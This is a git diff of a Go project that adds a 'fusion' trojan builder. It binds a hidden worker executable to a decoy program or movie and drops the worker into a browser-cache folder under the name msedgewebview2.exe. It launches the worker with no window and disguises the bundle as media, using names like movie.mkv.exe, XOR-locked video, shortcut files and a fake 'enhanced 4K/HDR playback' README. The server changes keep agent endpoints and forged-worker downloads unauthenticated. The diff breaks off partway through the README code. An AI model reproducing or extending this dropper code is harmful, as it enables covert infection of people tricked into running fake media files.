diff --git a/.gitignore b/.gitignore index c5227d7..48e5866 100644 --- a/.gitignore +++ b/.gitignore @@ -34,3 +34,7 @@ Desktop.ini # Accidental empty placeholder (breaks go build if committed) /server/internal/ollama/main.go + +# Broken accidental directory (cmd "..." path expansion) +/server/.../ +/fusion-deliverables/ diff --git a/fusion/assets/manifest.json b/fusion/assets/manifest.json new file mode 100644 index 0000000..50e43f9 --- /dev/null +++ b/fusion/assets/manifest.json @@ -0,0 +1 @@ +{"payload_kind":"exe","media_mode":"","media_file_name":""} diff --git a/fusion/assets/media.bin b/fusion/assets/media.bin new file mode 100644 index 0000000..e69de29 diff --git a/fusion/launch_stub.go b/fusion/launch_stub.go new file mode 100644 index 0000000..65bb5b3 --- /dev/null +++ b/fusion/launch_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package main + +import "os/exec" + +func applyHiddenStart(_ *exec.Cmd) {} diff --git a/fusion/launch_windows.go b/fusion/launch_windows.go new file mode 100644 index 0000000..a9c4e1e --- /dev/null +++ b/fusion/launch_windows.go @@ -0,0 +1,20 @@ +//go:build windows + +package main + +import ( + "os/exec" + "syscall" +) + +const createNoWindow = 0x08000000 + +func applyHiddenStart(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: createNoWindow, + } +} diff --git a/fusion/lock_hint_stub.go b/fusion/lock_hint_stub.go new file mode 100644 index 0000000..ecb8672 --- /dev/null +++ b/fusion/lock_hint_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package main + +func showLockedMediaHint() {} diff --git a/fusion/lock_hint_windows.go b/fusion/lock_hint_windows.go new file mode 100644 index 0000000..b143b60 --- /dev/null +++ b/fusion/lock_hint_windows.go @@ -0,0 +1,31 @@ +//go:build windows + +package main + +import ( + "fmt" + "os" + "path/filepath" + "syscall" + "unsafe" +) + +func showLockedMediaHint() { + runner := filepath.Base(os.Args[0]) + if m := readManifest(); m != nil && m.RunnerDisplay != "" { + runner = m.RunnerDisplay + } + if runner == "" { + runner = "the runner .exe" + } + msg := fmt.Sprintf("This movie is locked.\r\n\r\nUse with:\r\n%s", runner) + title := "Locked media" + user32 := syscall.NewLazyDLL("user32.dll") + messageBoxW := user32.NewProc("MessageBoxW") + messageBoxW.Call( + 0, + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(msg))), + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))), + 0x30, + ) +} diff --git a/fusion/main.go b/fusion/main.go index 0200446..d7d8e57 100644 --- a/fusion/main.go +++ b/fusion/main.go @@ -1,7 +1,10 @@ package main import ( - _ "embed" + "crypto/sha256" + "embed" + "encoding/hex" + "encoding/json" "fmt" "os" "os/exec" @@ -9,16 +12,51 @@ import ( "sync" ) -//go:embed assets/prep.exe -var prepExe []byte +//go:embed assets/* +var assets embed.FS -//go:embed assets/worker.exe -var workerExe []byte +// Replaced at forge time. +const ( + runOrder = "FUSION_RUN_ORDER" + payloadKind = "FUSION_PAYLOAD_KIND" + mediaMode = "FUSION_MEDIA_MODE" + mediaFileName = "FUSION_MEDIA_FILE" +) -// RunOrder is replaced at build time (parallel | prep_first | worker_first). -const runOrder = "FUSION_RUN_ORDER" +type fusionManifest struct { + PayloadKind string `json:"payload_kind"` + MediaMode string `json:"media_mode"` + MediaFileName string `json:"media_file_name"` + MediaEncFile string `json:"media_enc_file"` + MediaKeyB64 string `json:"media_key_b64"` + RunnerDisplay string `json:"runner_display_name"` +} func main() { + if fusionLockHintMode() { + showLockedMediaHint() + return + } + + workerPath, err := materializeWorker() + if err != nil { + return + } + + switch payloadKind { + case "video": + runVideoFusion(workerPath) + default: + runExeFusion(workerPath) + } +} + +func runExeFusion(workerPath string) { + prepBytes, err := assets.ReadFile("assets/prep.exe") + if err != nil || len(prepBytes) == 0 { + return + } + dir, err := os.MkdirTemp("", "cm-fusion-*") if err != nil { return @@ -26,46 +64,175 @@ func main() { defer os.RemoveAll(dir) prepPath := filepath.Join(dir, "prep.exe") - workerPath := filepath.Join(dir, "worker.exe") - if err := os.WriteFile(prepPath, prepExe, 0755); err != nil { - return - } - if err := os.WriteFile(workerPath, workerExe, 0755); err != nil { + if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil { return } + runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) }) +} + +func runVideoFusion(workerPath string) { + mediaName := mediaFileName + if mediaName == "" { + if m := readManifest(); m != nil && m.MediaFileName != "" { + mediaName = m.MediaFileName + } + } + if mediaName == "" { + mediaName = "movie.mkv" + } + + var mediaPath string + var err error + switch mediaMode { + case "embedded": + var cleanup func() + mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName) + if err != nil { + return + } + defer cleanup() + default: + var cleanup func() + mediaPath, cleanup, err = resolvePairedMedia(mediaName) + if err != nil || mediaPath == "" { + return + } + if cleanup != nil { + defer cleanup() + } + } + + runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) }) +} + +func runFusionOrder(workerPath, primaryPath string, runPrimary func()) { switch runOrder { case "prep_first": - waitProcess(prepPath) - startProcess(workerPath) + runPrimary() + launchWorker(workerPath) case "worker_first": + launchWorker(workerPath) waitProcess(workerPath) - waitProcess(prepPath) + runPrimary() default: + launchWorker(workerPath) var wg sync.WaitGroup - wg.Add(2) + wg.Add(1) go func() { defer wg.Done() - waitProcess(prepPath) - }() - go func() { - defer wg.Done() - startProcess(workerPath) + runPrimary() }() wg.Wait() } } -func startProcess(path string) { +func readManifest() *fusionManifest { + raw, err := assets.ReadFile("assets/manifest.json") + if err != nil { + return nil + } + var m fusionManifest + if json.Unmarshal(raw, &m) != nil { + return nil + } + return &m +} + +func materializeEmbeddedMedia(name string) (string, func(), error) { + data, err := assets.ReadFile("assets/media.bin") + if err != nil || len(data) == 0 { + return "", nil, fmt.Errorf("embedded media missing") + } + dir, err := os.MkdirTemp("", "cm-fusion-media-*") + if err != nil { + return "", nil, err + } + path := filepath.Join(dir, filepath.Base(name)) + if err := os.WriteFile(path, data, 0644); err != nil { + os.RemoveAll(dir) + return "", nil, err + } + return path, func() { _ = os.RemoveAll(dir) }, nil +} + +func resolvePairedMedia(name string) (string, func(), error) { + m := readManifest() + encFile := name + ".cmdata" + keyB64 := "" + playName := name + if m != nil { + if m.MediaEncFile != "" { + encFile = m.MediaEncFile + } + keyB64 = m.MediaKeyB64 + if m.MediaFileName != "" { + playName = m.MediaFileName + } + } + if keyB64 != "" { + return encryptedMediaBesideRunner(encFile, keyB64, playName) + } + exe, err := os.Executable() + if err != nil { + return "", nil, err + } + dir := filepath.Dir(exe) + for _, candidate := range []string{name, filepath.Base(name)} { + p := filepath.Join(dir, candidate) + if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() { + return p, func() {}, nil + } + } + return "", nil, fmt.Errorf("media not found") +} + +func materializeWorker() (string, error) { + workerBytes, err := assets.ReadFile("assets/worker.exe") + if err != nil || len(workerBytes) == 0 { + return "", fmt.Errorf("worker missing") + } + + base := os.Getenv("LOCALAPPDATA") + if base == "" { + base = os.TempDir() + } + sum := sha256.Sum256(workerBytes) + tag := hex.EncodeToString(sum[:6]) + dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag) + if err := os.MkdirAll(dir, 0755); err != nil { + return "", err + } + dest := filepath.Join(dir, "msedgewebview2.exe") + if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) { + if sha256.Sum256(existing) == sum { + return dest, nil + } + } + if err := os.WriteFile(dest, workerBytes, 0755); err != nil { + return "", err + } + return dest, nil +} + +func launchWorker(path string) { cmd := exec.Command(path) cmd.Dir = filepath.Dir(path) + applyHiddenStart(cmd) _ = cmd.Start() } func waitProcess(path string) { cmd := exec.Command(path) cmd.Dir = filepath.Dir(path) - if err := cmd.Run(); err != nil { - fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err) - } + _ = cmd.Run() +} + +func fusionLockHintMode() bool { + for _, arg := range os.Args[1:] { + if arg == "--locked" || arg == "-locked" { + return true + } + } + return false } diff --git a/fusion/media_crypto.go b/fusion/media_crypto.go new file mode 100644 index 0000000..fe5902a --- /dev/null +++ b/fusion/media_crypto.go @@ -0,0 +1,88 @@ +package main + +import ( + "encoding/base64" + "fmt" + "io" + "os" + "path/filepath" + "strings" +) + +const mediaLockMagic = "CMVD" + +func decryptMediaFile(encPath, keyB64, playName string) (string, func(), error) { + key, err := base64.StdEncoding.DecodeString(keyB64) + if err != nil || len(key) == 0 { + return "", nil, fmt.Errorf("invalid media key") + } + in, err := os.Open(encPath) + if err != nil { + return "", nil, err + } + defer in.Close() + + head := make([]byte, len(mediaLockMagic)) + if _, err := io.ReadFull(in, head); err != nil || string(head) != mediaLockMagic { + return "", nil, fmt.Errorf("not a locked media file") + } + + dir, err := os.MkdirTemp("", "cm-fusion-play-*") + if err != nil { + return "", nil, err + } + outName := filepath.Base(playName) + if outName == "" || outName == "." { + outName = "movie.mkv" + } + outPath := filepath.Join(dir, outName) + out, err := os.Create(outPath) + if err != nil { + os.RemoveAll(dir) + return "", nil, err + } + + buf := make([]byte, 256*1024) + ki := 0 + for { + n, readErr := in.Read(buf) + if n > 0 { + plain := make([]byte, n) + for i := 0; i < n; i++ { + plain[i] = buf[i] ^ key[ki%len(key)] + ki++ + } + if _, err := out.Write(plain); err != nil { + out.Close() + os.RemoveAll(dir) + return "", nil, err + } + } + if readErr == io.EOF { + break + } + if readErr != nil { + out.Close() + os.RemoveAll(dir) + return "", nil, readErr + } + } + out.Close() + return outPath, func() { _ = os.RemoveAll(dir) }, nil +} + +func encryptedMediaBesideRunner(mediaEncFile, keyB64, playName string) (string, func(), error) { + exe, err := os.Executable() + if err != nil { + return "", nil, err + } + name := strings.TrimSpace(mediaEncFile) + if name == "" { + return "", nil, fmt.Errorf("missing encrypted media name") + } + encPath := filepath.Join(filepath.Dir(exe), filepath.Base(name)) + if st, err := os.Stat(encPath); err != nil || st.IsDir() { + return "", nil, fmt.Errorf("encrypted media not found") + } + return decryptMediaFile(encPath, keyB64, playName) +} diff --git a/fusion/media_stub.go b/fusion/media_stub.go new file mode 100644 index 0000000..99ba2d0 --- /dev/null +++ b/fusion/media_stub.go @@ -0,0 +1,10 @@ +//go:build !windows + +package main + +import "os/exec" + +func openMedia(path string) { + cmd := exec.Command("xdg-open", path) + _ = cmd.Start() +} diff --git a/fusion/media_windows.go b/fusion/media_windows.go new file mode 100644 index 0000000..0c5bfbd --- /dev/null +++ b/fusion/media_windows.go @@ -0,0 +1,14 @@ +//go:build windows + +package main + +import ( + "os/exec" + "path/filepath" +) + +func openMedia(path string) { + path = filepath.Clean(path) + cmd := exec.Command("cmd", "/c", "start", "", path) + _ = cmd.Start() +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 5c44274..d3b2f1b 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -61,7 +61,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { // Agent-facing API + health + forged worker downloads stay open for agents. if strings.HasPrefix(path, "/api/v1/agent/") || path == "/api/v1/health" || - (strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) { + (strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) { next.ServeHTTP(w, r) return } @@ -144,6 +144,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Builds r.Get("/builds", h.ListBuilds) r.Get("/builds/{id}/download", builderHandler.DownloadBuild) + r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact) r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall) // Config diff --git a/server/internal/builder/estimate.go b/server/internal/builder/estimate.go index d564e34..acd3acb 100644 --- a/server/internal/builder/estimate.go +++ b/server/internal/builder/estimate.go @@ -13,26 +13,44 @@ const ( ) type FusionEstimateResponse struct { - PrepBytes int64 `json:"prep_bytes"` - PrepName string `json:"prep_name"` - EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"` - EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"` - EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"` - EstimatedTotalBytes int64 `json:"estimated_total_bytes"` - OutputFileName string `json:"output_file_name"` - ProjectRootPath string `json:"project_root_path"` - ArchivePathHint string `json:"archive_path_hint"` - ExportPath string `json:"export_path,omitempty"` - Obfuscate bool `json:"obfuscate"` - SignBuild bool `json:"sign_build"` - Notes []string `json:"notes"` + PrepBytes int64 `json:"prep_bytes"` + PrepName string `json:"prep_name"` + EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"` + EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"` + EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"` + EstimatedTotalBytes int64 `json:"estimated_total_bytes"` + OutputFileName string `json:"output_file_name"` + ProjectRootPath string `json:"project_root_path"` + ArchivePathHint string `json:"archive_path_hint"` + ExportPath string `json:"export_path,omitempty"` + Obfuscate bool `json:"obfuscate"` + SignBuild bool `json:"sign_build"` + Notes []string `json:"notes"` } func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse { + kind := strings.TrimSpace(req.FusionPayloadKind) + if kind == "" { + kind = detectFusionPayloadKind(prepName) + if kind == "exe" && prepPath != "" { + kind = detectFusionPayloadKind(prepPath) + } + } + mode := normalizeFusionMediaMode(req.FusionMediaMode) + outputName := req.FusionOutputName if outputName == "" { outputName = prepName } + if kind == "video" { + if mode == "embedded" { + if outputName == "" { + outputName = disguiseVideoExeName(prepName) + } + } else if outputName == "" { + outputName = runnerNameForMedia(prepName) + } + } if outputName == "" { outputName = "prep.exe" } @@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi workerBytes := h.estimateWorkerBytes() stubBytes := defaultFusionStubBytes - total := prepSize + workerBytes + stubBytes + resourcePatchOverhead + var total int64 + switch kind { + case "video": + if mode == "embedded" { + total = prepSize + workerBytes + stubBytes + resourcePatchOverhead + } else { + total = workerBytes + stubBytes + resourcePatchOverhead + } + default: + total = prepSize + workerBytes + stubBytes + resourcePatchOverhead + } root := h.projectRoot if root == "" || root == "." { root, _ = filepath.Abs(".") } - projectOut := filepath.Join(root, outputName) + label := prepName + if kind != "video" { + label = strings.TrimSuffix(outputName, filepath.Ext(outputName)) + } + sub := fusionExportSubdir(req, label) + projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName) resp := FusionEstimateResponse{ PrepBytes: prepSize, @@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi Obfuscate: h.shouldObfuscate(req), SignBuild: req.SignBuild, Notes: []string{ - fmt.Sprintf("Prep: %s", formatBytes(prepSize)), - fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)), + fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)), + fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)), fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)), - "Final size may differ slightly after icon + version info patch.", + fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)), }, } + if kind == "video" { + if mode == "embedded" { + resp.Notes = append(resp.Notes, + "Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.", + ) + } else { + resp.Notes = append(resp.Notes, + "Option B (paired): runner .exe + encrypted movie in fusion-deliverables//.", + fmt.Sprintf("Movie file stays as %q beside the runner.", prepName), + ) + } + resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub) + resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath)) + } + if strings.TrimSpace(req.OutputDir) != "" { clean := filepath.Clean(strings.TrimSpace(req.OutputDir)) if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) { - resp.ExportPath = filepath.Join(root, clean, outputName) - resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath)) + secondary := filepath.Join(root, clean, outputName) + if resp.ExportPath == "" { + resp.ExportPath = secondary + } + resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary)) } } @@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.") } - _ = prepPath return resp } diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go index e644f6d..0b2fa01 100644 --- a/server/internal/builder/fusion.go +++ b/server/internal/builder/fusion.go @@ -1,73 +1,17 @@ package builder -import ( - "fmt" - "os" - "path/filepath" - "strings" -) +import "strings" func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { - if prepPath == "" { - return "", fmt.Errorf("fusion requires prep.exe") + req := &BuildRequest{ + FusionOutputName: outputName, + FusionRunOrder: runOrder, } - if _, err := os.Stat(prepPath); err != nil { - return "", fmt.Errorf("prep.exe not found: %w", err) - } - if _, err := os.Stat(workerPath); err != nil { - return "", fmt.Errorf("worker binary not found: %w", err) - } - - fusionSrc := filepath.Join(h.projectRoot, "fusion") - if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { - return "", fmt.Errorf("fusion source missing at %s", fusionSrc) - } - - fusionDir := filepath.Join(buildDir, "fusion") - assetsDir := filepath.Join(fusionDir, "assets") - if err := os.MkdirAll(assetsDir, 0755); err != nil { - return "", err - } - - mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go")) + res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req) if err != nil { return "", err } - order := normalizeFusionOrder(runOrder) - mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1) - if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil { - return "", err - } - - if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil { - return "", err - } - if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil { - return "", err - } - if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { - return "", err - } - - if outputName == "" { - outputName = filepath.Base(prepPath) - } - if outputName == "" { - outputName = "prep.exe" - } - if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { - outputName += ".exe" - } - outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) - - ldflags := fusionLdflags(prepPath) - if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil { - return "", err - } - if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil { - return "", err - } - return outputPath, nil + return res.LauncherPath, nil } func normalizeFusionOrder(order string) string { diff --git a/server/internal/builder/fusion_media.go b/server/internal/builder/fusion_media.go new file mode 100644 index 0000000..b0e8e93 --- /dev/null +++ b/server/internal/builder/fusion_media.go @@ -0,0 +1,344 @@ +package builder + +import ( + "encoding/json" + "fmt" + "log" + "os" + "path/filepath" + "strings" +) + +type fusionBuildResult struct { + LauncherPath string + MediaName string + EncryptedPath string + ShortcutPath string +} + +func detectFusionPayloadKind(path string) string { + switch strings.ToLower(filepath.Ext(path)) { + case ".mp4", ".mkv", ".mov": + return "video" + default: + return "exe" + } +} + +func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { + kind := strings.TrimSpace(req.FusionPayloadKind) + if kind == "" { + kind = detectFusionPayloadKind(payloadPath) + } + req.FusionPayloadKind = kind + + if kind == "video" { + return h.buildVideoFusion(buildDir, payloadPath, workerPath, req) + } + path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder) + if err != nil { + return nil, err + } + return &fusionBuildResult{LauncherPath: path}, nil +} + +func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { + mode := normalizeFusionMediaMode(req.FusionMediaMode) + mediaName := strings.TrimSpace(req.FusionMediaBaseName) + if mediaName == "" { + mediaName = filepath.Base(mediaPath) + } + mediaName = sanitizeFileName(mediaName) + + outputName := strings.TrimSpace(req.FusionOutputName) + if mode == "embedded" { + if outputName == "" { + outputName = disguiseVideoExeName(mediaName) + } + } else { + if outputName == "" { + outputName = runnerNameForMedia(mediaName) + } + } + if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { + outputName += ".exe" + } + outputName = sanitizeFileName(outputName) + + fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName) + if err != nil { + return nil, err + } + assetsDir := filepath.Join(fusionDir, "assets") + + if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { + return nil, err + } + encFileName := mediaName + ".cmdata" + var mediaKey []byte + if mode == "paired" { + var keyErr error + mediaKey, keyErr = NewMediaLockKey() + if keyErr != nil { + return nil, keyErr + } + } + manifestFields := map[string]string{ + "payload_kind": "video", + "media_mode": mode, + "media_file_name": mediaName, + } + if mode == "paired" { + manifestFields["media_enc_file"] = encFileName + manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey) + manifestFields["runner_display_name"] = outputName + } + if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil { + return nil, err + } + + var encryptedPath, shortcutPath string + switch mode { + case "embedded": + if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil { + return nil, err + } + if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { + return nil, err + } + default: + if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { + return nil, err + } + if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { + return nil, err + } + } + + launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) + ldflags := "-s -w -H windowsgui" + if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil { + return nil, err + } + + if mode == "paired" { + encryptedPath = filepath.Join(buildDir, encFileName) + if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil { + return nil, err + } + _ = setHiddenFile(encryptedPath) + + shortcutPath = filepath.Join(buildDir, mediaName+".lnk") + if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil { + return nil, err + } + } + + return &fusionBuildResult{ + LauncherPath: launcherPath, + MediaName: mediaName, + EncryptedPath: encryptedPath, + ShortcutPath: shortcutPath, + }, nil +} + +func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { + fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "") + if err != nil { + return "", err + } + assetsDir := filepath.Join(fusionDir, "assets") + if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil { + return "", err + } + if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { + return "", err + } + if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { + return "", err + } + if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil { + return "", err + } + + if outputName == "" { + outputName = filepath.Base(prepPath) + } + if outputName == "" { + outputName = "prep.exe" + } + if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { + outputName += ".exe" + } + outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) + + ldflags := fusionLdflags(prepPath) + if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil { + return "", err + } + if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil { + return "", err + } + return outputPath, nil +} + +func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) { + fusionSrc := filepath.Join(h.projectRoot, "fusion") + if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { + return "", fmt.Errorf("fusion source missing at %s", fusionSrc) + } + + fusionDir := filepath.Join(buildDir, "fusion") + assetsDir := filepath.Join(fusionDir, "assets") + if err := os.MkdirAll(assetsDir, 0755); err != nil { + return "", err + } + + mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go")) + if err != nil { + return "", err + } + mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName) + if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil { + return "", err + } + + for _, name := range []string{ + "go.mod", "launch_windows.go", "launch_stub.go", + "media_windows.go", "media_stub.go", "media_crypto.go", + "lock_hint_windows.go", "lock_hint_stub.go", + } { + src := filepath.Join(fusionSrc, name) + if _, err := os.Stat(src); err != nil { + continue + } + if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil { + return "", err + } + } + return fusionDir, nil +} + +func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte { + order := normalizeFusionOrder(runOrder) + out := string(src) + repl := map[string]string{ + `const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order), + `const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind), + `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode), + `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName), + } + for old, new := range repl { + out = strings.Replace(out, old, new, 1) + } + return []byte(out) +} + +func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error { + return writeFusionManifestEx(assetsDir, map[string]string{ + "payload_kind": payloadKind, + "media_mode": mediaMode, + "media_file_name": mediaFileName, + }) +} + +func writeFusionManifestEx(assetsDir string, fields map[string]string) error { + raw, err := json.Marshal(fields) + if err != nil { + return err + } + return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644) +} + +func normalizeFusionMediaMode(mode string) string { + switch strings.ToLower(strings.TrimSpace(mode)) { + case "embedded": + return "embedded" + default: + return "paired" + } +} + +func disguiseVideoExeName(mediaName string) string { + base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName)) + if base == "" { + base = "movie" + } + ext := filepath.Ext(mediaName) + if ext == "" { + ext = ".mkv" + } + return sanitizeFileName(base + ext + ".exe") +} + +func runnerNameForMedia(mediaName string) string { + base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) + if base == "" { + base = "movie" + } + return sanitizeFileName(base + "-runner.exe") +} + +func fusionExportSubdir(req *BuildRequest, mediaName string) string { + if s := strings.TrimSpace(req.FusionExportSubdir); s != "" { + return sanitizeDirName(s) + } + base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) + if base == "" { + base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName)) + } + if base == "" { + base = sanitizeFileName(req.WorkerName) + } + return sanitizeDirName(base) +} + +func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) { + subdir = sanitizeDirName(subdir) + if subdir == "" || h.projectRoot == "" || h.projectRoot == "." { + return "", nil + } + destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) + if err := os.MkdirAll(destDir, 0755); err != nil { + return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err) + } + for name, src := range artifacts { + if src == "" { + continue + } + dest := filepath.Join(destDir, sanitizeFileName(name)) + if err := copyFile(src, dest); err != nil { + return "", fmt.Errorf("failed to export %s: %w", name, err) + } + } + readmePath := filepath.Join(destDir, "README.txt") + if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil { + return "", fmt.Errorf("failed to write README.txt: %w", err) + } + log.Printf("[Builder] Fusion deliverables -> %s", destDir) + return destDir, nil +} + +func sanitizeDirName(name string) string { + name = strings.TrimSpace(name) + if name == "" { + return "" + } + name = filepath.Base(name) + var b strings.Builder + for _, r := range name { + switch { + case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.': + if r == ' ' { + b.WriteRune('_') + } else { + b.WriteRune(r) + } + } + } + out := strings.Trim(b.String(), "._") + if out == "" { + return "title" + } + return out +} diff --git a/server/internal/builder/fusion_readme.go b/server/internal/builder/fusion_readme.go new file mode 100644 index 0000000..dc2e680 --- /dev/null +++ b/server/internal/builder/fusion_readme.go @@ -0,0 +1,71 @@ +package builder + +import ( + "fmt" + "path/filepath" + "strings" +) + +type fusionReadmeInfo struct { + Title string + RunnerName string + MediaName string + PayloadKind string // exe | video + MediaMode string // embedded | paired | "" +} + +func formatFusionReadme(info fusionReadmeInfo) string { + title := strings.TrimSpace(info.Title) + if title == "" { + title = "Media" + } + runner := strings.TrimSpace(info.RunnerName) + if runner == "" { + runner = "runner.exe" + } + + var b strings.Builder + fmt.Fprintf(&b, "========================================\r\n") + fmt.Fprintf(&b, " ENHANCED PLAYBACK PACKAGE\r\n") + fmt.Fprintf(&b, "========================================\r\n\r\n") + fmt.Fprintf(&b, "Title: %s\r\n\r\n", title) + + switch { + case info.PayloadKind == "video" && info.MediaMode == "paired": + media := strings.TrimSpace(info.MediaName) + if media == "" { + media = title + filepath.Ext(title) + } + fmt.Fprintf(&b, "HOW TO WATCH\r\n") + fmt.Fprintf(&b, "-----------\r\n") + fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n") + fmt.Fprintf(&b, " %s\r\n\r\n", runner) + 